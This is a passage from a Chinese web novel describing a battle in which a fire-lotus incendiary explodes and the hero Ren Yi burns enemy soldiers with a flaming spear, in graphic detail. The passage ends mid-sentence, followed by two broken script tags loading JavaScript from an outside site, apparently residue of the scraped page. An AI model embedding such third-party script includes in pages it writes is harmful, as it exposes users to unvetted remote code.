他们的笑声,还没落下,那点小小的火星,就落在了那片乌黑的雾里。
火焰,瞬间炸开了。
不是普通的火,不是那种窜起来的火苗,是一朵莲花的形状,在人群中间,绚丽地绽放开来。
中间是亮白色的花蕊,亮得刺眼,亮得人睁不开眼睛,仿佛是一团小小的太阳。花蕊外面,是一层一层的花瓣,橘红色的、金黄色的,层层叠叠,从中心往外翻卷,每一片花瓣都在跳动,都在燃烧,像有生命一样,在呼吸,在绽放。花瓣的边缘,是透明的蓝色,像夏天正午的天空,干净又耀眼。
那朵火莲花,在刀枪之间盛开,在那些贪婪的眼睛前面盛开,在这片血肉横飞的战场上,显得格外耀眼,又格外诡异。
花蕊里,还藏着东西。是寒星一样的钢片,是锋利的枪尖碎片,是那些四棱的、开了血槽的、灌了水银的小钢钉,密密麻麻,随着火莲花的绽放,一起飞了出去。
任弋抬起头,朝着涌过来的人群,怒吼一声。
“来啊!受死!”
那声音,从火莲花的中心炸开,穿透了那些燃烧的花瓣,穿透了那些士兵的惊呼声,穿透了那些举着刀还没来得及落下的手,穿透了整个战场。离得近的士兵,耳朵里嗡嗡作响,什么都听不见了,只剩下那声怒吼,在脑子里回荡。
但他们看得见。
任弋的枪,动了。
枪尖划过的地方,火焰跟着他的动作,一起蔓延。枪尖划过敌人的刀,刀瞬间被烧红,然后咔嚓一声断成两截;枪尖划过敌人的甲胄,甲胄被烧得发烫,瞬间裂开一道口子,里面的皮肉,瞬间被烧伤;枪尖划过敌人的身体,皮开了,肉翻了,骨头露了出来,火焰顺着伤口,往身体里面烧,越烧越旺。
火顺着枪尖走过的路,往两边蔓延,烧在刀上,烧在甲上,烧在衣服上,烧在皮肉上,烧得滋滋作响,冒出阵阵黑烟,带着一股刺鼻的焦糊味。那些没烧完的猛火油,落在人身上,落在地上,落得到处都是,只要碰到一点火星,就会立刻燃起大火。
一瞬间,任弋周围,多了十几个火人。
有人在地上疯狂打滚,双手死死抓着身上的衣服,想把火压灭。可火根本灭不了,越滚,火越旺,烧得他们皮开肉绽,疼得撕心裂肺。有人掏出水壶,往身上猛浇,可水一碰到火焰,就瞬间蒸发,不仅灭不了火,反而让火势更猛了。有人用手去拍身上的火,结果手也被烧着了,疼得他们嗷嗷直叫,只能眼睁
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">